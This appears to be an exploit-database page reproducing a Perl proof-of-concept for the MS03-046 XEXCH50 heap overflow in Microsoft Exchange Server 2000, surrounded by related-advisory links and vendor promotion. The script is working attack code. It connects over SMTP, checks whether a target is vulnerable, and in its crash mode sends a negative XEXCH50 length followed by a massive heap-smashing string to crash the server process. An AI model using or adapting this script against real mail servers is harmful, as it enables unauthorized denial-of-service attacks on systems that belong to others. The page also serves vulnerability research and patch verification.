Lucene search
+L

Microsoft Exchange Server 2000 - XEXCH50 Heap Overflow (PoC) (MS03-046)

🗓️ 22 Oct 2003 00:00:00Reported by H D MooreType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Vulnerability in Microsoft Exchange Server 2000 allows remote heap overflow attacks.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2003-0714
11 Nov 201000:00
circl
Check Point Advisories
Microsoft Exchange Server XEXCH50 Command Buffer Overflow (MS03-046; CVE-2003-0714)
22 Nov 200900:00
checkpoint_advisories
CVE
CVE-2003-0714
17 Oct 200304:00
cve
Cvelist
CVE-2003-0714
17 Oct 200304:00
cvelist
Exploit DB
Microsoft Exchange Server 2000 - XEXCH50 Heap Overflow (MS03-046) (Metasploit)
11 Nov 201000:00
exploitdb
Tenable Nessus
Exchange XEXCH50 Remote Buffer Overflow
16 Oct 200300:00
nessus
Metasploit
MS03-046 Exchange 2000 XEXCH50 Heap Overflow
24 Nov 200907:11
metasploit
canvas
Immunity Canvas: MSXEXCH50
17 Nov 200305:00
canvas
NVD
CVE-2003-0714
17 Nov 200305:00
nvd
OpenVAS
Exchange XEXCH50 Remote Buffer Overflow
3 Nov 200500:00
openvas
Rows per page
#!/usr/bin/perl -w
##################

##
# ms03-046.pl - hdm metasploit com
# This vulnerability allows a remote unauthenticated user to overwrite big chunks
# of the heap used by the inetinfo.exe process. Reliably exploiting this bug is
# non-trivial; even though the entire buffer is binary safe (even nulls) and can be
# just about any size, the actual code that crashes varies widely with each request.
# During the analysis process, numerous combinations of request size, concurrent
# requests, pre-allocations, and alternate trigger routes were examined and not a
# single duplicate of location and data offset was discovered. Hopefully the magic
# combination of data, size, and setup will be found to allow this bug to be reliably
# exploited.

# minor bugfix: look for 354 Send binary data

use strict;
use IO::Socket;

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }

usage();


sub check
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    print $s "XEXCH50 2 2\r\n";
    my $res = <$s>;
    close ($s);

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res !~ /354 Send binary/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] This system is vulnerable: $host:$port\n";

    exit(0);
}


sub crash
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    # the negative value allows us to overwrite random heap bits
    print $s "XEXCH50 -1 2\r\n";
    my $res = <$s>;

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res !~ /354 Send binary/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] Sending massive heap-smashing string...\n";
    print $s ("META" x 16384);

    # sometimes a second connection is required to trigger the crash
    $s = SMTP($host, $port);

    exit(0);
}


sub usage
{
    print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
    exit(0);

}

sub SMTP
{
    my ($host, $port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => "tcp"
    ) || return(undef);

    my $r = <$s>;
    return undef if !$r;

    if ($r !~ /Microsoft/)
    {
        chomp($r);
        print STDERR "[*] This does not look like an exchange server: $r\n";
        return(undef);
    }

    print $s "HELO X\r\n";
    $r = <$s>;
    return undef if !$r;

    print $s "MAIL FROM: DoS\r\n";
    $r = <$s>;
    return undef if !$r;

    print $s "RCPT TO: Administrator\r\n";
    $r = <$s>;
    return undef if !$r;

    return($s);
}


# milw0rm.com [2003-10-22]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Oct 2003 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
EPSS0.76388
36